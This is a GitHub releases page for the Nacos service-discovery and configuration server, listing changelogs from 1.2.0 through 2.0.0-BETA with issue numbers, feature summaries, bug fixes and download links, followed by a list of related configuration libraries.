    Support push data by gRPC.

    • [#3478][#3521]

    Connection event notification for gRPC.

    • [#3611]

    Load balance for Connection.

    • [#3630][#3751][#3752][#4217]

    Support Auth for gRPC request.

    • [#3693][#3821][#3970][#4675]

    Support metadata operation for Naming module by Jraft.

    • [#4204][#4260][#4279][#4354][#4367][#4733]

    Support basic connection limit.

    • [#4651][#4752]

    Support healthy check.

    • [#4728][#4750]

    Support upgrading and downgrading.

    • [#4810][#4845]

    Enhancement

    Async execute some time-consuming operation.

    • [#4099][#4533][#4595][#4656]

    Multiple language SDK.

    • [#4464]

    Metric

    • [#4649]

    Full support for registering custom instances.

    • [#4828]

    Refactor

    Naming Client refactor network proxy.

    • [#3386]

    Refactor and adapt v1 openAPI.

    • [#3864][#3881][#4112][#4151][#4154][#4376][#4438][#4441][#4461][#4492][#4578][#4832]

    BugFix

    [#4489] Fix can't query non-default-group problem for catalog API. [#4681] Fix config miss line break problrm. [#4788] Fix client id judgement error for ipv6. [#4855] Fix high cpu problem. [#4875] Fix config file read problem. [#4882] Fix listen config without auth problem. [#4883] Fix naming client NPE for Spas auth header.

    Dependency

    [#4383] Upgrade Nacos Api/Client modules to support JDK 1.8 compilation.

    Source code(tar.gz)
    Source code(zip)
    nacos-server-2.0.0-BETA.tar.gz(75.52 MB)
    nacos-server-2.0.0-BETA.zip(75.53 MB)
  • 2.0.0-ALPHA.2(Jan 14, 2021)

    This version is an alpha version for 2.0.0. In this alpha2 version, it mainly fixes some bug found in 2.0.0-ALPHA.1, and implement some persistent service feature. For performance, doing some performance enhancement and report a performance to compile with Nacos1.x version.

    Detail see:

    Features

    Add gRPC connection core feature to Nacos.

    • [#3328][#3739][#3749][#3776]

    Config module support gRPC.

    • [#3334][#3344][#3357][#3808]

    Naming module support gRPC.

    • [#3343][#3352][#3373][#3407][#3425][#3788][#3795][#3809][#3825][#3849][#3860][#4345][#4363][#4369][#4603][#4608][#4636]

    Nacos Client Support gRPC.

    • [#3350][#3401][#3405]

    Nacos gRPC Client support reconnection.

    • [#3365][#3367][#3385][#3420]

    Support push data by gRPC.

    • [#3478][#3521]

    Connection event notification for gRPC.

    • [#3611]

    Load balance for Connection.

    • [#3630][#3751][#3752][#4217]

    Support Auth for gRPC request.

    • [#3693][#3821][#3970][#4675]

    Support metadata operation for Naming module by Jraft.

    • [#4204][#4260][#4279][#4354][#4367]

    Support basic connection limit.

    • [#4651]

    Enhancement

    Async execute some time-consuming operation. -[#4099][#4533][#4595][#4656]

    Metric -[#4649]

    Refactor

    Naming Client refactor network proxy.

    • [#3386]

    Refactor and adapt v1 openAPI.

    • [#3864][#3881][#4112][#4151][#4154][#4376][#4438][#4441][#4461][#4492][#4578]

    BugFix

    [#4489] Fix can't query non-default-group problem for catalog API. [#4681] Fix config miss line break problrm.

    Dependency

    [#4383] Upgrade Nacos Api/Client modules to support JDK 1.8 compilation.

    Source code(tar.gz)
    Source code(zip)
    nacos-server-2.0.0-ALPHA.2.tar.gz(75.43 MB)
    nacos-server-2.0.0-ALPHA.2.zip(75.44 MB)
  • 1.4.1(Jan 14, 2021)

    This version mainly support IPv6 service register and support udp push for Csharp client. What's more, add some console features to enhance users' usage. And Fix many bugs and do many refactor and enhancement to increase stability.

    Details see following:

    Features

    -[#978] Support IPv6. -[#3917] Add metadata filter in service detail page. -[#4132] Service list API param groupName support '*' to get all group serviceName. -[#4670] Support Udp push for CSharp client.

    Enhancement

    -[#3607][#4078][#4170] Datasource pool configuration can be configured. -[#3832] When the nacos-server fails to start, shutdown all http clients. -[#3907] When publishConfig, if type is absent, set default value 'text'. -[#4066] Make serviceNameList followed string order. -[#4090] Configuration file changes do not take effect. -[#4286] When auth open, use resource parser cache to parse resource. -[#4291] In stand-alone mode, the service module does not enable the Raft protocol. -[#4355] Do not retry distro sync again if member has removed. -[#4463] Add auth check for SQL query of config derby database. -[#4513] Check instance illegal heart beat param before register. -[#4593] Add server identity to replace user-agent white list. -[#4662] Just choose one between nacosDomain mode and servers mode.

    Refactor & Code Quality

    -[#3831] Delete the old http client code. -[#3832] Add common http client shutdown method. -[#4093][#4125][#4310][#4346] Remove unused codes. -[#4166] NotifyCenter code optimization. -[#4225] Replace http client in HttpHealthCheckProcessor. -[#4232] Use EnvUtil to replace ApplicationUtils about env operation. -[#4293] Remove env operation code in ApplicationUtils. -[#4275] Replace com.alibaba.nacos.config.server.result.ResultBuilder to RestResultUtil. -[#4344] CacheMap property optimization. -[#4567] Refactor nacos-client Load Logging Configuration code. -[#4594][#4596] Fix IO close problem kind/code quality kind/refactor -[#4631] Remove timer,Use ScheduledThreadPoolExecutor replaced.

    BugFix

    -[#3005] Fix ClusterController 403 and some display wrong. -[#3406] Fix change self's password fail problem. -[#3524][#4262] Fix public namespace permission problem. -[#3880] NamingService Client support pushEmptyProtection. -[#4073] Fix the problem for config default time zone may be wrong. -[#4136] Fix ServiceInfo cann't correctlly instantiate from cache file. -[#4181] Fix Auth may not work if contextPath is '/'. -[#4187] Fix ProtocolManager#onEvent can't feel nodes extend. -[#4199] Fix new http client do not support patch method problem. -[#4236] Fix ProtocolException for apache http client Content-Length. -[#4245] Fix sql injection bug. -[#4264] Fix always load property when the contextPath is '/'. -[#4282] Fix Service list Cannot query by group name. -[#4311] Fix an exception will occur if the SQL include LIMIT, when use embedded data source. -[#4320] Fix the Naming consistency module could not start in cluster mode. -[#4333] Fix PaginationHelper will be abnormal in cluster mode. -[#4342] Fix nacos.core.protocol.raft.data.read_index_type isn't effect. -[#4364] Fix Cluster member state isn't updated to 'DOWN' after the node becomes down. -[#4415] Fix NOW_WATCH_JOB_CNT record WatchDirJob count error. -[#4424] Fixed issue where null values could not be converted to base parameters. -[#4429] Fix mcp can't be open. -[#4436] Fix parse label expression error problem. -[#4450] Fix memberAddressInfos do not record Up State when member status updated. -[#4467] Fix instanceId will be replaced when register twice. -[#4477] Fix service list return error information if fromIndex > toIndex. -[#4541][#4556] Fix the configuration file loading issue. -[#4570] Fix cluster mode query config type is null. -[#4583] Fix nacos client do not retry in DOMAIN mode. -[#4643] Fix jraft response instance error. -[#4701] Fix bypass authentication(identity) problem.

    Other

    -[#3102] Remove apache commons-lang3 dependency. -[#4179] Add index for db.user and db.password. -[#4339] Upgrade jraft to 1.3.5. -[#4476] Update hint words in config list Fuzzy query. -[#4632] Upgrade axios version to 0.21.1.

    Source code(tar.gz)
    Source code(zip)
    nacos-server-1.4.1.tar.gz(75.39 MB)
    nacos-server-1.4.1.zip(75.39 MB)
  • 2.0.0-ALPHA.1(Dec 4, 2020)

    This version mainly uses gRPC to replace HTTP as the communication between client and server. And refactor the data model of naming module to adapt new communication model.

    Feature/Enhancement/Refactor

    [#3328] nacos support grpc ,base functions submit. [#3334] Nacos config support gRPC. [#3343] Add naming support gRPC for register and deregister instance. [#3344] support config query in rpc channel ,add switch http/rpc at client side. [#3350] add server side connection listener ,and add client version. [#3352] Add naming support gRPC for query instance list and service info. [#3357] response model optimize area/Config kind/feature. [#3365] client reconnection optimize . [#3367]client reconnect optimize, combine first time start and reconnect code. [#3373] Naming support un/subscribe service by grpc. [#3385] server side client connection listener optimize and listen context and notifier updated. [#3386] Refactor for naming sdk. [#3478][#3521] Add gprc support-> add server push ack. [#3795][#3809][#3825][#3849][#3860] Adapt old client for naming module. [#4099][#4260][#4279][#4354][#4367] Add metadata for service and use raft to consistence. [#4383] Upgrade Nacos Api/Client modules to support JDK 1.8 compilation

    There are many changes for this new feature. detail see https://github.com/alibaba/nacos/milestone/22?closed=1.

    Source code(tar.gz)
    Source code(zip)
    nacos-server-2.0.0-ALPHA.1.tar.gz(75.69 MB)
    nacos-server-2.0.0-ALPHA.1.zip(75.70 MB)
  • 1.4.0(Nov 2, 2020)

    This version mainly refactors the distro protocol of the naming module and sinks to the nacos-core module. At the same time, jraft is used to replace the old self-implemented raft protocol to improve the performance and accuracy of raft semantics. Secondly, this version completely unifies the http clients used by nacos, optimizes the usage of some http clients, and reduces connection cost, especially the number of CLOSE_WAIT connections. Finally, fixed some old version bugs and optimized console usage, and added a BETA interface to modify service metadata separately.

    [#1654] Fix content hightlight does not work in config detail page. [#2792] Save user information in login when auth open. [#2835] Fix the console loading continuously if there is no permission of the namespace. [#2866] Fix client do not have permision for api /nacos/v1/ns/operator/metrics. [#3117] Sink and Optimize the Notify implementation into common module. [#3192] Unified http client in nacos server. [#3315] nacos-client support https. [#3397] Fix some error in start script. [#3384] Fix raft information show error in console. [#3500] Make page list of service manager same as config manager. [#3509] Fix address server mode cannot be obtained application.properties. [#3518] When binding roles, the user list is changed to the drop-down selection mode. [#3530] Add refresh buttons for each page in console. [#3533] Change client cache directory config. [#3515][#3536][#3899] Upgrade dependency to fix security problem. [#3528] Fix client get illegal project.version. [#3550] Fix persistency file can't create in server side for raft protocol. [#3560] Change title logo in browser. [#3566] Extract and sink auth feature to nacos-auth from nacos-config. [#3576] Adding the destroy lifecycle method on NamingMaintainService. [#3592] Fix incorrect prompt when accessing unauthorized namespace. [#3628] Enhance the client update interval when subscribe non-exist service. [#3635] Replace raft of naming module by Jraft of consistency module. [#3651] Enhance http client usage to reduce CLOSE_WAIT connection in nacos-server. [#3661] Enhance raft group update logic for using Jraft. [#3671] Move some util class into common package. [#3676] Fix revert chunk does not work in Content Comparison page. [#3692] Refactor Distro protocol in nacos naming module. [#3687] Check serviceName's format in server and client. [#3710] Fix service metadata can't be special words problem. [#3781] Fix service list intermittently lost service. [#3790] Fix the configuration garbled problem that may occur on the client. [#3815] Fix client cache may be truncated when contain Chinese. [#3833] Fix NotifyCenter will throw NullPointerException when no subscriber. [#3855] Add changed detail from previous version in configuration detail page. [#3904] Support operate instance's metadata alonely. [#3909] Fix nacos server can't config domains. [#3973] Fix load config failed during the first run. [#4110] Naming modules failed to work properly during the nacos capacity expansion.

    Source code(tar.gz)
    Source code(zip)
    nacos-server-1.4.0.tar.gz(72.24 MB)
    nacos-server-1.4.0.zip(72.24 MB)
  • 1.4.0-BETA(Oct 22, 2020)

    This version mainly refactors the distro protocol of the naming module and sinks to the nacos-core module. At the same time, jraft is used to replace the old self-implemented raft protocol to improve the performance and accuracy of raft semantics. Secondly, this version completely unifies the http clients used by nacos, optimizes the usage of some http clients, and reduces connection cost, especially the number of CLOSE_WAIT connections. Finally, fixed some old version bugs and optimized console usage, and added a BETA interface to modify service metadata separately.

    [#1654] Fix content hightlight does not work in config detail page. [#2792] Save user information in login when auth open. [#2835] Fix the console loading continuously if there is no permission of the namespace. [#2866] Fix client do not have permision for api /nacos/v1/ns/operator/metrics. [#3117] Sink and Optimize the Notify implementation into common module. [#3192] Unified http client in nacos server. [#3315] nacos-client support https. [#3397] Fix some error in start script. [#3384] Fix raft information show error in console. [#3500] Make page list of service manager same as config manager. [#3509] Fix address server mode cannot be obtained application.properties. [#3518] When binding roles, the user list is changed to the drop-down selection mode. [#3530] Add refresh buttons for each page in console. [#3533] Change client cache directory config. [#3515][#3536][#3899] Upgrade dependency to fix security problem. [#3528] Fix client get illegal project.version. [#3550] Fix persistency file can't create in server side for raft protocol. [#3560] Change title logo in browser. [#3566] Extract and sink auth feature to nacos-auth from nacos-config. [#3576] Adding the destroy lifecycle method on NamingMaintainService. [#3592] Fix incorrect prompt when accessing unauthorized namespace. [#3628] Enhance the client update interval when subscribe non-exist service. [#3635] Replace raft of naming module by Jraft of consistency module. [#3651] Enhance http client usage to reduce CLOSE_WAIT connection in nacos-server. [#3661] Enhance raft group update logic for using Jraft. [#3671] Move some util class into common package. [#3676] Fix revert chunk does not work in Content Comparison page. [#3692] Refactor Distro protocol in nacos naming module. [#3687] Check serviceName's format in server and client. [#3710] Fix service metadata can't be special words problem. [#3781] Fix service list intermittently lost service. [#3790] Fix the configuration garbled problem that may occur on the client. [#3815] Fix client cache may be truncated when contain Chinese. [#3833] Fix NotifyCenter will throw NullPointerException when no subscriber. [#3855] Add changed detail from previous version in configuration detail page. [#3904] Support operate instance's metadata alonely. [#3909] Fix nacos server can't config domains. [#3973] Fix load config failed during the first run.

    Source code(tar.gz)
    Source code(zip)
    nacos-server-1.4.0-BETA.tar.gz(72.24 MB)
    nacos-server-1.4.0-BETA.zip(72.24 MB)
  • 1.3.2(Aug 4, 2020)

    This version refactors http client used in nacos-client, and rollback to use JDK http client to reduce the version conflict and enhance the log. What's more, this version refactors eventDispatcher to improve the performance and readability. Finally, fix some bugs and do some enhancement for console.

    [#1839] Add ContentType return while getConfig. [#2856] Adjust the use of thread pools. [#2858] Unified http client implementation, enhanced async request callback interface. [#3091] Fix address server can't start up by implement an empty auth manager. [#3103] Fix can't create properties config [#3179] Replace the original Notify implementation in the nacos's other modules. [#3197] NacosRestTemplate enhance. [#3210] Enhanced nacos resttemplate response handler. [#3224] nacos-client module http client replace. [#3300] Optimize the default "minIdle"" of HikariPool set by naocs. [#3311] Add specified Logger when constructing nacos resttemplate. [#3317] Change the http client implementation that nacos resttemplate depends on from apache to JDk. [#3324] Fix http client close bug. [#3353] Adjust the value logic of clientBeatInterval. [#3356] Fix no throw exception when publish event but no subsciber. [#3366] Fix the thread safety problem of obtaining HttpRequestBase through BaseHttpMethod enumeration. [#3370] Issue with executing shell script /bin/sh^M on Unix/Linux. [#3382] Use PreparedStatement to replace string concatenation. [#3388] Reset nacos roles, permissions during reloading role info from database. [#3399] Unified implementation of http client package division. [#3409] Fix Nacos can't start by the startup.cmd script in windows environment. [#3428] Fix token valid go login bug. [#3434] Fix DataAccessException when running in embedded mode. [#3485] Fix the UnknownHostException is swallowed.

    [#3207][#3453] Fix some document description error.

    Source code(tar.gz)
    Source code(zip)
    nacos-server-1.3.2.tar.gz(71.33 MB)
    nacos-server-1.3.2.zip(71.34 MB)
  • 1.3.1(Jul 10, 2020)

    This version mainly fixes some bugs and optimizes the code quality.

    [#2089] Fix config list return page bug. [#2237] Enhance HttpClient usage. [#2800] Update beatinfo when received instance modify info [#2810] Don't send beat when standalone model. [#2839] Fix Json conversion exception when loading Datum cache file. [#2844] Fix Time format error. [#2847] Fix config IT [#2982] Fix the error message could not be passed through at the RPC layer. [#2985] Fix In inline mode, the task execution condition determines the problem. [#2988][#2989] Fix can get configuration from standalone + embedded storage. [#2992] Use new code style. [#2994] Optimize the configuration post - release process. [#3060] Upgrade the database driver version of Mysql to 8 [#3063] Fix parameter validation boundary problem. [#3110] Fix confused connection when one nacos nodes down. [#3160] Fix compatibility issue when reading cache files with suffix ".datum" [#3175] Fix probably the end value is negative number in ServiceController.java.

    Source code(tar.gz)
    Source code(zip)
    nacos-server-1.3.1.tar.gz(71.34 MB)
    nacos-server-1.3.1.zip(71.34 MB)
  • 1.3.1-beta(Jun 30, 2020)

    This version mainly fixes some bugs and optimizes the code quality.

    [#2089] Fix config list return page bug. [#2237] Enhance HttpClient usage. [#2800] Update beatinfo when received instance modify info [#2810] Don't send beat when standalone model. [#2839] Fix Json conversion exception when loading Datum cache file. [#2844] Fix Time format error. [#2847] Fix config IT [#2982] Fix the error message could not be passed through at the RPC layer. [#2985] Fix In inline mode, the task execution condition determines the problem. [#2988][#2989] Fix can get configuration from standalone + embedded storage. [#2992] Use new code style. [#2994] Optimize the configuration post - release process. [#3060] Upgrade the database driver version of Mysql to 8 [#3063] Fix parameter validation boundary problem. [#3110] Fix confused connection when one nacos nodes down. [#3160] Fix compatibility issue when reading cache files with suffix ".datum" [#3175] Fix probably the end value is negative number in ServiceController.java.

    Source code(tar.gz)
    Source code(zip)
    nacos-server-1.3.1-BETA.tar.gz(71.16 MB)
    nacos-server-1.3.1-BETA.zip(71.17 MB)
  • 1.3.0(Jun 5, 2020)

    [#2530] [#2758] Consistency protocol abstraction [#2560] Nacos-client : ServerHttpAgent builds the unnormalized URL  [#2569] Change NamingProxy#reqAPI method throw exception log describe [#2577] Fix naming client http read timeout and connect timeout properties [#2638] Support https [#2647] Modify config service md5 generation method  [#2661] Keep query criteria when config detail return to config list [#2761] ProtocolManager class's getCpProtocol()/getApProtocol() method ' codes can be optimized. [#2697] Fix the problem that properties have empty lines and cannot be edited [#2738] Tenant legality verification. #2785 [#2740] Modify the way of get remote state [#2664] UI add groupName parameter [#2765] Optimize MemberUtils class's kRandom method  [#2842] Replace Fastjson with Jackson [#2871] SQLException when config server quickstart 

    Source code(tar.gz)
    Source code(zip)
    nacos-server-1.3.0.tar.gz(72.90 MB)
    nacos-server-1.3.0.zip(72.90 MB)
  • 1.3.0-beta(May 15, 2020)

    [#2530] [#2758] Consistency protocol abstraction [#2560] Nacos-client : ServerHttpAgent builds the unnormalized URL  [#2569] Change NamingProxy#reqAPI method throw exception log describe [#2577] Fix naming client http read timeout and connect timeout properties [#2638] Support https [#2647] Modify config service md5 generation method  [#2661] Keep query criteria when config detail return to config list [#2761] ProtocolManager class's getCpProtocol()/getApProtocol() method ' codes can be optimized. [#2697] Fix the problem that properties have empty lines and cannot be edited [#2733] Support service change event [#2738] Tenant legality verification [#2740] Modify the way of get remote state [#2664] UI add groupName parameter [#2765] Optimize MemberUtils class's kRandom method

    Source code(tar.gz)
    Source code(zip)
    nacos-server-1.3.0-BETA.tar.gz(70.77 MB)
    nacos-server-1.3.0-BETA.zip(70.77 MB)
  • 1.2.1(Mar 31, 2020)

    #2537 Client beat not correctly redirected #2401 timed sync task failed #2457 前端配置列表节点并发查询数会随着点击查看其他节点数据后累加 #2451 1.2.0 无法修改自己的密码 #2449 配置中心,配置列表无法控制分页个数 #2533 dubbo 不停的重复注册服务 #2527 dubbo beat trigger JSONException #2453 控制台 历史版本 js异常 #1674 Instance information in the Java sdk cache will not be updated because the update thread exit

    Source code(tar.gz)
    Source code(zip)
    nacos-server-1.2.1.tar.gz(50.54 MB)
    nacos-server-1.2.1.zip(50.54 MB)
  • 1.2.0(Mar 4, 2020)

    #2370 com.alibaba.nacos.naming.misc.GlobalConfig taskDispatchPeriod 参数初始值疑问 #2258 HealthCheckReactor is not isolated by namespace #2248 Nacos server application.properties reloadable #2232 Distro load data failed cause start failed. #2184 nacos 1.1.4 删除配置ui展示列表为空 #2171 支持同一个 namesapce 中的克隆 #2168 page bug in configuration list #2145 支持自定义namespace id #2123 Client heart beat package is too large #2056 整合dubbo采用nacos作为注册中心报错 [NACOS SocketTimeoutException httpPost] currentServerAddr: http://192.168.3.58:8848, err : Read timed out #2042 mysql8.0 support error #2020 com.alibaba.nacos.client.config.utils.IOUtils.toString NPE #2018 http connection Keepalive is invalid,dubbo consumer has many TIME_WAIT #2006 Choose instance for nacos #2000 nacos 1.1.3版本,可能产生死循环bug #1993 集群模式bug,使用discovery会报错java.lang.IllegalStateException: failed to req API:/nacos/v1/ns/instance after all servers([172.XX.XX.23:80]) tried #1966 关于上传zip时候,type判断的bug #1957 调用修改实例接口,未传的参数值会被清空 #1947 How to solve ERROR [NACOS-API] failed to added push client. #1858 namingService keep update service instance after unSubscribe all listeners #1627 Database field assignment error #1606 why i cann't define namespaceId when i add one #1184 Replace error message 'failed to req API:/nacos/v1/ns/instance/list after all servers' to more specific message #1105 Access control of resource in Nacos #434 [Bug]编辑配置后历史版本显示错误,回滚后配置丢失

    Source code(tar.gz)
    Source code(zip)
    nacos-server-1.2.0.tar.gz(50.54 MB)
    nacos-server-1.2.0.zip(50.55 MB)
Owner
Alibaba
Alibaba Open Source
Alibaba
Highly-available version-controlled service configuration repository based on Git, ZooKeeper and HTTP/2

Visit the official web site for more information. Central Dogma Central Dogma is an open-source, highly-available and version-controlled service confi

LINE 503 Dec 20, 2022
A simple configuration library for Java applications providing a node structure, a variety of formats, and tools for transformation

Configurate Configurate is a simple configuration library for Java applications that provides a node-based representation of data, able to handle a wi

SpongePowered 274 Jan 3, 2023
Modern configuration library for distributed apps written in Java.

Overview cfg4j ("configuration for Java") is a configuration library for Java distributed apps (and more). Features: Open source Easy to use Auto-relo

cfg4j 544 Nov 23, 2022
configuration library for JVM languages using HOCON files

Configuration library for JVM languages. If you have questions or are working on a pull request or just curious, please feel welcome to join the chat

Lightbend 5.8k Jan 4, 2023
A twelve-factor configuration (12factor.net/config) library for Java 8+

dotenv A twelve-factor configuration library for Java 8+. Features: seamless integration with Guice (prefer Spring? see here); zero dependencies; avai

Stanley Shyiko 42 Oct 1, 2022
Modern tool for microservice configuration management

Quick start We recommend to start with Microconfig Features guide and then continue reading this documentation. Microconfig overview and features Micr

Microconfig 262 Dec 19, 2022
Get rid of the boilerplate code in properties based configuration.

OWNER OWNER, an API to ease Java property files usage. INTRODUCTION The goal of OWNER API is to minimize the code required to handle application confi

lviggiano 874 Dec 31, 2022
configuration library for JVM languages using HOCON files

Configuration library for JVM languages. If you have questions or are working on a pull request or just curious, please feel welcome to join the chat

Lightbend 5.8k Jan 4, 2023
Library for configuration management API

Archaius Features Archaius includes a set of configuration management APIs used by Netflix. It provides the following functionality: Dynamic, Typed Pr

Netflix, Inc. 2.4k Dec 22, 2022
Simple Java/POJO config library written with love and Lombok

Okaeri Configs Supported platforms (general use) General implementations based on standard format libraries directly. HJSON ?? hjson-java: Human JSON

Okaeri 51 Jan 7, 2023
Oyvey skid with decent ca and pastebin hwid lock lmao

McDonald-1.1.7-Cracked It wasn't obfuscated so it isn't really a "crack", just had to remove the HWID authentication from the main class. Uhm, the gui

null 6 Dec 2, 2022
prob isn't but uhhh there you go, it works on .cc and i am happy with that :)

TickShift (prob isn't but uhhh there you go, it works on .cc and i am happy with that :)) Credits Codex#4562: [rudimentary shit code] Doogie13: [expla

noat 9 Dec 2, 2022
Govern Service is a lightweight, low-cost service registration, service discovery, and configuration service SDK.

Govern Service is a lightweight, low-cost service registration, service discovery, and configuration service SDK. By using Redis in the existing infrastructure (I believe you have already deployed Redis), it doesn’t need to bring extra to the operation and maintenance deployment. Cost and burden. With the high performance of Redis, Govern Service provides ultra-high TPS&QPS (10W+/s JMH Benchmark).

Ahoo Wang 61 Nov 22, 2022
CoSky is a lightweight, low-cost service registration, service discovery, and configuration service SDK.

High-performance, low-cost microservice governance platform. Service Discovery and Configuration Service

Ahoo Wang 61 Nov 22, 2022
JNDI-Exploit is an exploit on Java Naming and Directory Interface (JNDI) from the deleted project fromthe user feihong on GitHub.

JNDI-Exploit JNDI-Exploit is a fork from the deleted project ftom the user feihong-cs on GitHub. To learn more about JNDI and what you can do with thi

Nil MALHOMME 4 Dec 6, 2022
KickAss Configuration. An annotation-based configuration system for Java and Kotlin

KAConf 2016-2020 Mario Macías KickAss Configuration v0.9.0 is an Annotation-based configuration system inspired in the wonderful Spring Boot. Its stro

Mario Macías 53 Nov 21, 2022
This plugin disables commands specified in the configuration and prevents granting the "OP" authority to people not authorized in the plugin configuration.

Ares This plugin disables commands specified in the configuration and prevents granting the "OP" authority to people not authorized in the plugin conf

ᴠᴀʟᴇɴᴛɪɴ ᴢʜᴇʟᴇᴠ 6 Aug 30, 2022
Apollo is a reliable configuration management system suitable for microservice configuration management scenarios.

English | 中文 Apollo - A reliable configuration management system Apollo is a reliable configuration management system. It can centrally manage the con

Apollo 27.6k Jan 5, 2023
Dynamic Configuration Capability for SpringBoot Application

Spring Boot Dynamic Config Hot-reload your SpringBoot configurations, with just a '@DynamicConfig' annotation, the simplest solution, ever. English 简体

Joey Yang 153 Jan 3, 2023